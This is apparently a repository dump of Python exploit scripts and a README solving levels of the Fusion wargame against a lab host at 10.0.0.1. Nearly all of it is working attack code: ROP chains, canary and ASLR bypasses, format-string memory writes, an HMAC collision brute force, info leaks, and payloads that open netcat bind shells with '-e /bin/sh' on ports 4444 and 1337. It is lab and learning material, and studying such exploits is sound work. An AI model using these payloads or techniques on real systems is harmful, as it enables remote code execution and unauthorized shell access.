35 | stack += struct.pack("<I", 0xdeadbeef) # junk
36 | stack += struct.pack("<I", base + 0x238df) # pop %eax | ret
37 | stack += "/sh\x00" # junk
38 | stack += struct.pack("<I", base + 0x6cc5a) # mov %eax,(%ecx) | ret
39 | 
40 | stack += struct.pack("<I", base + 0x9b910) # execve
41 | stack += struct.pack("<I", base + 0x329e0) # exit
42 | stack += struct.pack("<I", stackbase) # writable address (beggining stack)
43 | stack += struct.pack("<I", 0x0) # writable address (beggining stack)
44 | stack += struct.pack("<I", 0x0) # writable address (beggining stack)
45 | 
46 | 
47 | password = "PC1fysF7wbnh8vU0" + "A"*2032 + canary + "A"*12 + ebx + "B"*12 + stack
48 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
49 | s.connect((TCP_IP, TCP_PORT))
50 | httprequest = create_http_request("/./", password)
51 | print httprequest
52 | s.send(httprequest)
53 | while True:
54 | 	data = s.recv(BUFFER_SIZE)
55 | 	if not data:
56 | 		break
57 | 	print data
58 | s.close()
59 | 
60 | 


--------------------------------------------------------------------------------
/level03/level03.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import random
 4 | import json
 5 | from struct import *
 6 | import hmac
 7 | from hashlib import sha1
 8 | 
 9 | TCP_IP = '10.0.0.1'
10 | TCP_PORT = 20003
11 | BUFFER_SIZE = 1024
12 | 
13 | #0xb73e1fc0 <__srandom>
14 | #0xb73ebb20 <__libc_system>
15 | #difference: 0x9b60
16 | 
17 | #0x0804bcd4 R_386_JUMP_SLOT   srand
18 | #0x08049b4f : pop eax ; add esp, 0x5c ; ret
19 | #0x08048bf0 : pop ebx ; ret
20 | #0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
21 | #0x0804bcd4 - 0x5d5b04c4 = 0xaaa9b810 -> ebx
22 | #eax = 0x00009b60
23 | #gContents = 0x804bdf4
24 | #08048f80 <exit@plt>:
25 | #08048c20 <srand@plt>:
26 | 
27 | 
28 | stack  = "\uf08b\u0408" # pop ebx; ret
29 | stack += "\u10b8\ua9aa" # magic value to ebx
30 | stack += "\u4f9b\u0408" # pop eax; add esp, 0x5c; ret
31 | stack += "\u609b\u0000" # 0x00009b60
32 | stack += "A"*0x5c; # 0x5c As
33 | stack += "\ufe93\u0408" # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
34 | stack += "\u208c\u0408" # 08048c20 <srand@plt>
35 | stack += "\u808f\u0408" # 08048f80 <exit@plt>
36 | #stack += "ZZZZ"
37 | stack += "\u2805\u6c09" # gContents <- /bin/nc
38 | #stack += "\uf08b\u0408" # pop ebx; ret
39 | #stack += "\ud4bc\u0408" # 0x0804bcd4 R_386_JUMP_SLOT   srand
40 | #stack += "\u33a9\u0408" # 0x0804a933 : call dword ptr [ebx]
41 | #stack += "\u90b5\u2c08" # gContents <- /bin/nc
42 | #stack += "\u90b5\u2c08" # exit
43 | 
44 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45 | s.connect((TCP_IP, TCP_PORT))
46 | data = s.recv(BUFFER_SIZE)
47 | print "received data:", data
48 | token = data[1:len(data)-2]
49 | json = "\n"+json.dumps({'contents': "/"*600+"/usr/bin/nc -vlp4444 -e/bin/sh", 'title': "C"*127+"\u4141"+"C"*31+stack, 'serverip': '172.16.193.194'})
50 | msg = token+chr(random.randint(0,255))+chr(random.randint(0,255))+chr(random.randint(0,255))+json
51 | result = hmac.new(token, msg, sha1).digest()
52 | while ord(result[0]) != 0 or ord(result[1]) != 0:
53 | 	msg = token+chr(random.randint(0,255))+chr(random.randint(0,255))+chr(random.randint(0,255))+json
54 | 	result = hmac.new(token, msg, sha1).digest()
55 | print "[+] Collision found: "+hmac.new(token, msg, sha1).hexdigest()
56 | s.send(msg)
57 | s.close()
58 | 
59 | 


--------------------------------------------------------------------------------
/level02/level02.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | from struct import *
 4 | import time
 5 | 
 6 | TCP_IP = '10.0.0.1'
 7 | TCP_PORT = 20002
 8 | BUFFER_SIZE = 1024
 9 | BUFFER_SIZE2 = 4 * 32 # 4 * uint
10 | BUFFER_SIZE3 = 32*4096 + 16 + 4
11 | 
12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13 | s.connect((TCP_IP, TCP_PORT))
14 | data = s.recv(BUFFER_SIZE)
15 | print "received data:", data
16 | data = s.recv(BUFFER_SIZE)
17 | #print "received data:", data
18 | 
19 | s.send("E")
20 | s.send(pack("<I", BUFFER_SIZE2))
21 | s.send("A"*(BUFFER_SIZE2))
22 | data = s.recv(BUFFER_SIZE)
23 | print "received data:", data
24 | data = s.recv(BUFFER_SIZE)
25 | 
26 | #0x804b420->0x804b500 at 0x00002418: .bss ALLOC
27 | #$5 = {ssize_t (int, void *, size_t)} 0x804952d <nread>
28 | 
29 | rop  = pack("<L", 0x08048b13) #0x08048b13 : pop ebp ; ret
30 | rop += pack("<L", 0x0804b420) # new stack pointer to .bss
31 | rop += pack("<L", 0x0804952d) # nread pointer 
32 | rop += pack("<L", 0x08048b41) # leave ret
33 | rop += pack("<L", 0) # fd = socket
34 | rop += pack("<L", 0x0804b420) # .bss segment
35 | rop += pack("<L", 100) # size_t
36 | 
37 | bof = "A"*(BUFFER_SIZE3-4)+rop
38 | bof = list(bof)
39 | for i in range(0,len(bof)):
40 | 	 bof[i] = chr(ord(data[i%128+5])^ord("A")^ord(bof[i]))
41 | bof = ''.join(bof)
42 | 
43 | payload2  = pack("<L", 0x41414141)
44 | payload2 += pack("<L", 0x080489b0) # new stack from here! - execve jmp
45 | payload2 += pack("<L", 0x08048960) # exit jmp
46 | payload2 += pack("<L", 0x0804b438) # .bss starts with the string ???
47 | payload2 += pack("<L", 0x0804b444) # command variable ???
48 | payload2 += pack("<L", 0x0)
49 | 
50 | payload2 += "/usr/bin/nc\x00" # binary location string - 0x0804b438
51 | payload2 += pack("<L", 0x0804b438) # command[0] pointer - 0x0804b444
52 | payload2 += pack("<L", 0x0804b454) # command[1] pointer - 0x0804b448
53 | payload2 += pack("<L", 0x0804b45c) # command[2] pointer - 0x0804b44c
54 | payload2 += pack("<L", 0x0)
55 | payload2 += "-lp1337\x00-e/bin/sh\x00"
56 | 
57 | payload2 += "A"*(100-len(payload2))
58 | 
59 | s.send("E")
60 | s.send(pack("<I", len(bof)))
61 | print s.send(bof+"Q"+payload2)
62 | while True:
63 | 	data = s.recv(BUFFER_SIZE)
64 | 	if not data:
65 | 		break
66 | s.close()
67 | 
68 | 


--------------------------------------------------------------------------------
/level09/level09.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | '''
 3 | big up for r3v3rs3r, this solution is partly based on his/her writeup.
 4 | https://r3v3rs3r.wordpress.com/2015/09/18/solving-fusion-level-9/
 5 | '''
 6 | 
 7 | import socket
 8 | from struct import *
 9 | import random
10 | import time
11 | import math
12 | import struct
13 | 
14 | def rop_write_string_to_zerod_memory(str, memaddr):
15 | 	rop = ""
16 | 	for i in range(0,int(math.ceil(float(len(str))/4))):
17 | 		rop += pack("<I", 0x08060f6e) # 0x08060f6e: pop edi | pop ebp | ret
18 | 		rop += pack("<I", memaddr+i*4)
19 | 		rop += str[i*4:i*4+4]
20 | 		rop += pack("<I", 0x0805d1e3) # 0x0805d1e3: xchg ebp, ecx | ret
21 | 		rop += pack("<I", 0x0805d165) # 0x0805d165: add [edi], ecx | test dl, ah | ret
22 | 
23 | 	return rop
24 | 
25 | def rop_add_to_addr(what, where):
26 | 	rop = ""
27 | 	rop += pack("<I", 0x08060f6e) # 0x08060f6e: pop edi | pop ebp | ret
28 | 	rop += pack("<I", where)
29 | 	rop += pack("<I", what)
30 | 	rop += pack("<I", 0x0805d1e3) # 0x0805d1e3: xchg ebp, ecx | ret
31 |         rop += pack("<I", 0x0805d165) # 0x0805d165: add [edi], ecx | test dl, ah | ret
32 | 	return rop
33 | 
34 | 
35 | UDP_IP = '10.0.0.1'
36 | UDP_PORT = 20009
37 | BUFFER_SIZE = 1024
38 | 
39 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
40 | s.connect((UDP_IP, UDP_PORT))
41 | 
42 | ebx = "1111" # 12
43 | ebp = "2222" # 24
44 | esi = "3333" # 16
45 | edi = "4444" # 20
46 | canary = "EQEQ"
47 | 
48 | #libc.getpid - 0x80488c0:	jmp    *0x80632a0
49 | #(gdb) x/w 0x80632a0
50 | #0x80632a0:	0xb76c9380
51 | #0xb76c9380-0x5f860 -> system! (+0xfffa07a0)
52 | 
53 | #lib.setsockopt - 0x8048820:	jmp    *0x8063278
54 | #(gdb) x/w 0x8063278
55 | #0x8063278:	0xb775da70
56 | #0xb775da70-0xa1090 -> exit! (+0xfff5ef70)
57 | 
58 | command_addr = 0x08063010 # memory in libc filled with nulls
59 | kvsyscall_addr = 0x080632f0
60 | kvsyscall = pack("<I", 0x08048a00)
61 | 
62 | rop = ""
63 | rop += rop_write_string_to_zerod_memory("/bin/nc.traditional -ltp 1337 -e/bin//sh", command_addr)
64 | rop += rop_add_to_addr(0xfffa07a0, 0x080632a0) # getpid pointer modify to system
65 | rop += rop_add_to_addr(0xfff5ef70, 0x08063278) # setsockopt pointer modify to exit
66 | rop += rop_add_to_addr(0xef904, kvsyscall_addr) # socket pointer modify to __kernel_vsyscall
67 | 
68 | rop += pack("<I", 0x80488c0) # original getpid - modified to system
69 | rop += pack("<I", 0x8048820) # original setsockopt - modified to exit
70 | rop += pack("<I", command_addr)
71 | 
72 | bof = "E"*66+canary+"C"*12+ebx+esi+edi+ebp+rop+"D"*(2052-len(rop))+kvsyscall+ canary
73 | 
74 | s.send("\x1f\x0e"+bof)
75 | s.close()
76 | 
77 | 
78 | 


--------------------------------------------------------------------------------
/level08/level08.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import array
 4 | import struct
 5 | import threading
 6 | import random
 7 | #https://github.com/stef/pysodium
 8 | import pysodium
 9 | import sys
10 | 
11 | def encrypt_message(nonce, public_key, secret_key, message):
12 | 	lenmessage = struct.pack("<I", len(message))+message
13 | 	encrypted = pysodium.crypto_box(lenmessage, nonce, public_key, secret_key)
14 | 	encrypted = nonce + "\x00"*16 + encrypted
15 | 	length = struct.pack("<I", len(encrypted))
16 | 	
17 | 	return length+encrypted
18 | 
19 | def decrypt_message(public_key, secret_key, message):
20 | 	decrypted = pysodium.crypto_box_open(message[40:], message[0:24], public_key, secret_key)
21 | 	return decrypted
22 | 
23 | 
24 | TCP_IP = '10.0.0.1'
25 | TCP_PORT = 20008
26 | BUFFER_SIZE = 1024
27 | 
28 | 
29 | client_pub, client_priv = pysodium.crypto_box_keypair()
30 | nonce = pysodium.randombytes(pysodium.crypto_box_NONCEBYTES)
31 | 
32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33 | s.connect((TCP_IP, TCP_PORT))
34 | server_pub = s.recv(BUFFER_SIZE)
35 | 
36 | s.send(str(client_pub))
37 | 
38 | message = "o0777lib/i386-linux-gnu/libgcc_s.so.1"
39 | s.send(encrypt_message(nonce, server_pub, client_priv, message))
40 | size = s.recv(4)
41 | size = struct.unpack("<I", size)[0]
42 | data = s.recv(size)
43 | try:
44 | 	decryptedmessage = decrypt_message(server_pub, client_priv, data)
45 | 	print "%s" % decryptedmessage[4:]
46 | except:
47 | 	print data
48 | 	sys.exit(-1)
49 | 
50 | fd = int(decryptedmessage[10:13])
51 | sofd = open("libgcc_s.so.1", "r")
52 | so = sofd.read()
53 | sofd.close()
54 | 
55 | message = "w"+str(fd)+",0"+so
56 | s.send(encrypt_message(nonce, server_pub, client_priv, message))
57 | size = s.recv(4)
58 | size = struct.unpack("<I", size)[0]
59 | data = s.recv(size)
60 | try:
61 | 	print "%s" % decrypt_message(server_pub, client_priv, data)[4:]
62 | except:
63 | 	print data
64 | 	sys.exit(-1)
65 | 
66 | message = "c"+str(fd)
67 | s.send(encrypt_message(nonce, server_pub, client_priv, message))
68 | size = s.recv(4)
69 | size = struct.unpack("<I", size)[0]
70 | data = s.recv(size)
71 | try:
72 | 	print "%s" % decrypt_message(server_pub, client_priv, data)[4:]
73 | except:
74 | 	print data
75 | 	sys.exit(-1)
76 | 
77 | message = "m0777sh"+"B"*260
78 | s.send(encrypt_message(nonce, server_pub, client_priv, message))
79 | size = s.recv(4)
80 | size = struct.unpack("<I", size)[0]
81 | data = s.recv(size)
82 | try:
83 | 	print "%s" % decrypt_message(server_pub, client_priv, data)
84 | except:
85 | 	print data
86 | 
87 | data = s.recv(BUFFER_SIZE)
88 | print data
89 | data = s.recv(BUFFER_SIZE)
90 | print data
91 | 
92 | 
93 | s.close()
94 | 


--------------------------------------------------------------------------------
/level08/level08.threaded.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | #experimental code to crash with threads. use the other one for the solution
 3 | import socket
 4 | import array
 5 | import struct
 6 | import threading
 7 | import random
 8 | #https://github.com/stef/pysodium
 9 | import pysodium
10 | 
11 | 
12 | TCP_IP = '10.0.0.1'
13 | TCP_PORT = 20008
14 | BUFFER_SIZE = 1024
15 | 
16 | class myThread (threading.Thread):
17 |     def __init__(self, threadID, name, count, s):
18 |         threading.Thread.__init__(self)
19 |         self.threadID = threadID
20 |         self.name = name
21 |         self.count = count
22 | 	self.s = s
23 |     def run(self):
24 |         dosomedemage(self.name, self.count, self.s)
25 | 
26 | def encrypt_message(nonce, public_key, secret_key, message):
27 | 	lenmessage = struct.pack("<I", len(message))+message
28 | 	encrypted = pysodium.crypto_box(lenmessage, nonce, public_key, secret_key)
29 | 	encrypted = nonce + "\x00"*16 + encrypted
30 | 	length = struct.pack("<I", len(encrypted))
31 | 	
32 | 	return length+encrypted
33 | 
34 | def decrypt_message(public_key, secret_key, message):
35 | 	decrypted = pysodium.crypto_box_open(message[40:], message[0:24], public_key, secret_key)
36 | 	return decrypted
37 | 
38 | def dosomedemage(name, count, s):
39 | 	while True:
40 | 		if name in "first":
41 | 			message = "m0777sh"+"B"*260
42 | 		if name in "second":
43 | 			message = "m0777test4" + "B"*250
44 | 		if name in "third":
45 | 			message = "o0777testfile3\x00"
46 | 			s.send(encrypt_message(nonce, server_pub, client_priv, message))
47 | 			size = s.recv(4)
48 | 			size = struct.unpack("<I", size)[0]
49 | 			data = s.recv(size)
50 | 			try:
51 | 				decryptedmessage = decrypt_message(server_pub, client_priv, data)
52 | 				print "%s" % decryptedmessage
53 | 				message = "w"+str(int(decryptedmessage[10:13]))+",0"+"C"*random.randint(10,3000)
54 | 			except:
55 | 				message = "c7"
56 | 		s.send(encrypt_message(nonce, server_pub, client_priv, message))
57 | 		size = s.recv(4)
58 | 		size = struct.unpack("<I", size)[0]
59 | 		data = s.recv(size)
60 | 		try:
61 | 			print "%s" % decrypt_message(server_pub, client_priv, data)
62 | 		except:
63 | 			print data
64 | 
65 | 
66 | 
67 | client_pub, client_priv = pysodium.crypto_box_keypair()
68 | nonce = pysodium.randombytes(pysodium.crypto_box_NONCEBYTES)
69 | 
70 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
71 | s.connect((TCP_IP, TCP_PORT))
72 | server_pub = s.recv(BUFFER_SIZE)
73 | 
74 | s.send(str(client_pub))
75 | 
76 | thread1 = myThread(1, "first", 1000, s)
77 | thread2 = myThread(2, "second", 10, s)
78 | thread3 = myThread(3, "third", 1, s)
79 | 
80 | thread1.start()
81 | #thread2.start()
82 | #thread3.start()
83 | 
84 | #s.close()
85 | 


--------------------------------------------------------------------------------
/level14/level14.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | #Balazs Bucsay @xoreipeip
 3 | import socket
 4 | import time
 5 | 
 6 | TCP_IP = '10.0.0.1'
 7 | TCP_PORT = 20014
 8 | BUFFER_SIZE = 65536
 9 | 
10 | def generate_formatstring(value, align):
11 | 	time.sleep(0.5)
12 | 
13 | 	bw = 0x00
14 | 	byte = (((value & 0xFFFF) - bw) & 0xFFFF)
15 | 	bw += byte
16 | 	alignaddr = ((alignedstack - bw + align) & 0xFFFF)
17 | 
18 | 	payload  = "%"+str(byte)+"x%263$hn" # set half byte on previously set address
19 | 	payload += "%"+str(alignaddr)+"x%256$hn" # set addr to next half byte
20 | 	payload += "\n\x00"
21 | 
22 | 	return payload
23 | 
24 | 
25 | #%1$x - heap leak
26 | #%4$x - reliable stack leak
27 | #%6$x - level14 binary base
28 | #%256$x - pointer on stack which points to a pointer that points to stack
29 | #%263$x - pointer that points to stack
30 | #256 -> 263 -> stack (all values on stack)
31 | 
32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33 | s.connect((TCP_IP, TCP_PORT))
34 | s.send("%1$x%6$x%4$x%256$x%263$x\n")
35 | data = s.recv(BUFFER_SIZE)
36 | 
37 | fsrleak = data[0:8]
38 | level14baseleak = data[8:16]
39 | stackropleak = data[16:24]
40 | stackp2pleak = data[24:32]
41 | stackpleak = data[32:40]
42 | level14base = int(level14baseleak, 16) - 0xb700
43 | stackrop = int(stackropleak, 16) - 0x234
44 | stackp2p = int(stackp2pleak, 16)
45 | stackp = int(stackpleak, 16)
46 | 
47 | fsr = int(fsrleak, 16) + 0x78c8 # second heap variable - last heap variable distance
48 | systemaddr = level14base - 0x39160
49 | exitaddr = level14base - 0x29f620
50 | alignedstack = (stackp2p & 0xFFFFFFFC) + 0x30
51 | 
52 | 
53 | bw = 0x00
54 | p2pbytelo = ((alignedstack - bw) & 0xFFFF) + 0
55 | payload0  = "%"+str(p2pbytelo)+"x%256$hn" # aligning the stack!
56 | payload0 += "\n\x00"
57 | s.send(payload0)
58 | s.recv(BUFFER_SIZE)
59 | print "[+] stack address aligned"
60 | 
61 | for i in range(1,7):
62 | 	s.send(generate_formatstring(stackrop + (i-1)*2, i*4-2))
63 | 	s.recv(BUFFER_SIZE)
64 | 	s.send(generate_formatstring(stackrop >> 0x10, i*4))
65 | 	s.recv(BUFFER_SIZE)
66 | 	print "[+] %d. value set" % i
67 | 
68 | bw = 0x28 # length of shell payload
69 | bytelo1 = (((systemaddr & 0xFFFF) - bw) & 0xFFFF)
70 | bw += bytelo1
71 | bytehi1 = ((((systemaddr >> 16) & 0xFFFF) - bw) & 0xFFFF)
72 | bw += bytehi1
73 | 
74 | bytelo2 = (((exitaddr & 0xFFFF) - bw) & 0xFFFF) 
75 | bw += bytelo2
76 | bytehi2 = ((((exitaddr >> 16) & 0xFFFF) - bw) & 0xFFFF)
77 | bw += bytehi2
78 | 
79 | bytelo3 = (((fsr & 0xFFFF) - bw) & 0xFFFF)
80 | bw += bytelo3
81 | bytehi3 = ((((fsr >> 16) & 0xFFFF) - bw) & 0xFFFF)
82 | bw += bytehi3
83 | 
84 | payloadx  = "/bin/nc.traditional -ltp 1337 -e/bin/sh;" # eat this system()!
85 | payloadx += "%"+str(bytelo1)+"x%275$hn%"+str(bytehi1)+"x%276$hn" # ret to system
86 | payloadx += "%"+str(bytelo2)+"x%277$hn%"+str(bytehi2)+"x%278$hn" # exit() pointer 
87 | payloadx += "%"+str(bytelo3)+"x%279$hn%"+str(bytehi3)+"x%280$hn" # heap addr that points to this payload
88 | payloadx += "\n\x00"
89 | s.send(payloadx)
90 | print "[+] last payload sent, rop on stack"
91 | print "You can connect to %s on port tcp/1337 now." % TCP_IP
92 | 
93 | time.sleep(1)
94 | 
95 | 


--------------------------------------------------------------------------------
/level06/level06.infoleak.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | import socket
  3 | from struct import *
  4 | import time
  5 | import ssl
  6 | import random
  7 | import threading
  8 | 
  9 | #ugly info leak with ugly implementation. My bad.
 10 | 
 11 | TCP_IP = '10.0.0.1'
 12 | TCP_PORT = 20006
 13 | BUFFER_SIZE = 1024
 14 | 
 15 | def getaddress(leak):
 16 | 	addrpos = leak.find("\xb7")
 17 | 	if addrpos == -1:
 18 | 		return "No address found in leak. Run again please"
 19 | 
 20 | 	addr = leak[addrpos-3:addrpos+1]
 21 | 	if leak[addrpos-3] != "\x38":
 22 | 		return "Wrong address found, looking for specific. ["+addr.encode("hex")+"] Run again please"
 23 | 	addr = leak[addrpos-3:addrpos+1]
 24 | 	return addr.encode("hex")
 25 | 
 26 | def getaddress2(leak):
 27 |         addrpos = 0
 28 |         while addrpos != -1:
 29 |                 addrpos = leak.find("\x38", addrpos+1)
 30 |                 if addrpos == -1:
 31 |                         return "No address found in leak. Run again please"
 32 |                 
 33 |                 addr = leak[addrpos:addrpos+4]
 34 |                 if (leak[addrpos+3] != "\xb7") and (leak[addrpos+3] != "\xb8"):
 35 |                         print "Wrong address found, looking for specific. ["+addr.encode("hex")+"] Run again please"
 36 |                 else:
 37 |                         return "Found: "+addr.encode("hex")
 38 | 
 39 | 
 40 | class myThread (threading.Thread):
 41 |     def __init__(self, threadID, name, count):
 42 |         threading.Thread.__init__(self)
 43 |         self.threadID = threadID
 44 |         self.name = name
 45 |         self.count = count
 46 |     def run(self):
 47 |         dosomedemage(self.name, self.count)
 48 | 
 49 | def dosomedemage(name, count):
 50 | 	s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 51 | 	s_plain.connect((TCP_IP, TCP_PORT))
 52 | 	s = ssl.wrap_socket(s_plain, ca_certs='level06.pem',
 53 |                                 cert_reqs=ssl.CERT_REQUIRED,
 54 |                                 ssl_version=ssl.PROTOCOL_TLSv1)
 55 | 	infoleak = ""
 56 | 	data = s.recv(BUFFER_SIZE)	
 57 | 
 58 | 	while True:
 59 | 		if name in "first":
 60 | 			s.send("s a %d\n" % (count))
 61 | 			s.send("A"*count)
 62 | 			data = s.recv(BUFFER_SIZE)
 63 | 
 64 | 		if name in "second":
 65 | 			s.send("s a %d\n" % (count))
 66 | 			s.send("A"*count)
 67 | 			data = s.recv(BUFFER_SIZE)
 68 | 
 69 | 		if name in "third":
 70 | 			s.send("g a\n")
 71 | 			try:
 72 | 				data = s.recv(BUFFER_SIZE)
 73 | 				if "// Sending" not in data:
 74 |                                 	infoleak += data
 75 | 				data = s.recv(BUFFER_SIZE)
 76 | 				if "A"*10 not in data:
 77 | 					infoleak += data
 78 | 			except:
 79 | 				print getaddress(infoleak)
 80 | 				break
 81 | 	s.close()
 82 | 
 83 | 
 84 | s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 85 | s_plain.connect((TCP_IP, TCP_PORT))
 86 | s = ssl.wrap_socket(s_plain, ca_certs='level06.pem',
 87 |                                cert_reqs=ssl.CERT_REQUIRED,
 88 |                                ssl_version=ssl.PROTOCOL_TLSv1)
 89 | data = s.recv(BUFFER_SIZE)
 90 | 
 91 | s.send("s a 100\n")
 92 | s.send("A"*100)
 93 | data = s.recv(BUFFER_SIZE)
 94 | 
 95 | thread1 = myThread(1, "first", 1000)
 96 | thread2 = myThread(2, "second", 10)
 97 | thread3 = myThread(3, "third", 1)
 98 | 
 99 | thread1.start()
100 | thread2.start()
101 | thread3.start()
102 | 


--------------------------------------------------------------------------------
/level05/level05.orig.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | import socket
  3 | from struct import *
  4 | import time
  5 | import sys
  6 | import struct
  7 | import random
  8 | 
  9 | #pre beta file for test
 10 | 
 11 | TCP_IP = '10.0.0.1'
 12 | TCP_PORT = 20005
 13 | BUFFER_SIZE = 1024
 14 | 
 15 | 
 16 | def register(s, name):
 17 | 	s.send("addreg " + name + " 32 127.0.0.1\n")
 18 | #	print "addreg " + name + " 32 127.0.0.1"
 19 | 	return True
 20 | 
 21 | def unregister(s, name):
 22 | 	s.send("addreg " + name + " 0 0.0.0.0\n")
 23 | #	print "addreg " + name + " 0 0.0.0.0"
 24 | 	return True
 25 | 
 26 | def checkname(s, name):
 27 | 	s.send("checkname " + name + "\n")
 28 | #	print "checkname " + name
 29 | 	data = s.recv(BUFFER_SIZE)
 30 | #	print data
 31 | 	if "is not indexed already" in data:
 32 | 		return False
 33 | 	else:
 34 | 		return True 
 35 | 
 36 | def bruteforce(s, prefix, postfix, range):
 37 | 	candidates = []
 38 | 	for i in range:
 39 | 		if i == 32:
 40 | 			continue
 41 | 		register(s, prefix + chr(i) + postfix)
 42 | 		time.sleep(0.1)
 43 | 		checkname(s, "test")
 44 | 		result0 = checkname(s, prefix)
 45 | 		result1 = checkname(s, prefix)
 46 | 		unregister(s, prefix + chr(i) + postfix)
 47 | 		if result0 or result1:
 48 | #			print result0
 49 | #			print result1
 50 | 			print "possible candidate: "+str(hex(i))
 51 | 			candidates.append(i)
 52 | 			continue
 53 | 	return candidates
 54 | 
 55 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 56 | s.connect((TCP_IP, TCP_PORT))
 57 | data = s.recv(BUFFER_SIZE)
 58 | print "received data:", data
 59 | 
 60 | #test whether it works
 61 | register(s, "A"*16+"\x04")
 62 | time.sleep(0.5)
 63 | checkname(s, "test")
 64 | result = []
 65 | 
 66 | for i in xrange(4):
 67 | 	result.append(checkname(s, "A"*16))
 68 | 
 69 | unregister(s, "A"*16+"\x04")
 70 | for i in xrange(4):
 71 | 	result.append(checkname(s, "A"*16))
 72 | 
 73 | if (result[0] or result[1]) and (result[2] or result[3]):
 74 | 	if not (result[4] or result[5] or result[6] or result[7]): 
 75 | 		print "Works!"
 76 | 	else:
 77 | 		print "Does not work!"
 78 | 		sys.exit()
 79 | else:
 80 | 	print "Does not work!"
 81 | 	sys.exit()
 82 | 
 83 | retestedmemory = []
 84 | print "trying to find hightest byte"
 85 | memory = bruteforce(s, "A"*15, "\x04", range(0,256))
 86 | print "final: "
 87 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0])
 88 | print "final: " + str(hex(retestedmemory[0]))
 89 | 
 90 | print "trying to find second hightest byte"
 91 | memory = range(0,256)
 92 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256))
 93 | while len(memory) != 1:
 94 | 	memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory)
 95 | 
 96 | retestedmemory.append(memory[0])
 97 | print "final: " + str(hex(retestedmemory[1]))
 98 | #retestedmemory.append(0xb7)
 99 | #retestedmemory.append(0x71)
100 | print "trying to find second lowest byte"
101 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256))
102 | memory = range(0,256)
103 | while len(memory) != 1:
104 | 	memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
105 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[0])+chr(retestedmemory[1])+"\x04", range(0x58,0x59))
106 | print "."
107 | #memory = bruteforce(s, "B"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
108 | print "."
109 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[0])+chr(retestedmemory[1])+"\x04", memory)
110 | print "."
111 | print str(hex((retestedmemory[0]<<16) + (retestedmemory[1]<<8) + (((memory[0]>>4)-2)<<4))) 
112 | 
113 | s.close()
114 | 
115 | 


--------------------------------------------------------------------------------
/level07/README.md:
--------------------------------------------------------------------------------
 1 | #level07 solution
 2 | 
 3 | I have spent a few days/weeks to solve this, but finally have it, reliably.<br />
 4 | In a few sentences here are some thoughts:<br />
 5 | <br />
 6 | level07 binary registers two functions into a linked list and both of them could have called with a special prefix (the opcode of the function). But after loading and calling the libpak.so, it is going to read up the default .pak file which removes the second registered function (execute_command), so the easy way to execute code is gone by default.<br />
 7 | By reversing the libpak.so, I managed to understand the way how the binary works:<br />
 8 | - load_new_pakfile can be invoked by an UDP packet previously explained<br />
 9 | - it connects back to us for the pak file encoded<br />
10 | - encoding is easy, explained by the source<br />
11 | - encrypted pak is sent and decoded, and will be decrypted by the libpak with rc4<br />
12 | - easy to "implement" encryption/decryption by using libpak.so and invoking the functions<br />
13 | - after decryption, the run_pak_vm runs on the decrypted pak which is a DFA (Deterministic Finite Automata)<br />
14 | <br />
15 | The automata can do the following things:<br />
16 | - write any 4bytes into a variable on stack<br />
17 | - write arbitrary message into a variable that is allocated on the fly on the heap<br />
18 | - substract/add two 4bytes values - this is f*cked up this is why I wasted a hell of a lot of time, loop should be decremented only by one<br />
19 | - writing NULL into a variable on stack<br />
20 | - call dlopen() on a file (this was the solution btw)<br />
21 | - call dlsym() on any object<br />
22 | - loop the variables<br />
23 | - unregister an opcode (this is done by the default pak file/on execute_command function)<br />
24 | - write data into a file from a memory address<br />
25 | - write any 4 bytes into any memory address (seems nice, isn't it?)<br />
26 | <br />
27 | I wrote multiple python scripts and c codes to solve this level:<br />
28 | - level07.client.py - asks the server to connect back to us and/or send any udp packet with the opcode and arguments<br />
29 | - level07.server.py - listens on the specified port and wait for incoming connection to serve the level07.pak file encoded<br />
30 | - level07.decrypt.c - decrypt any well-formed and ecrypted pak file (level07.pak)<br />
31 | - level07.encrypt.c - encrypt any decrypted pak file (level07.unpak)<br />
32 | - level07.makepak.py - DFA implemented in python, works as a "library", you can craft your on "commands"<br />
33 | - level07.makepak.final.py - actual exploit<br />
34 | - level07.so.c - shared object c file<br />
35 | <br />
36 | How I tried:<br />
37 | First I tried to resolve a function address to have a fix address and later to substract the difference which is constant, but because of the substraction was not implemented properly (maybe on purpose) I could not solve this problem, to find a reliable way to gain knowledge about the base address.<br />
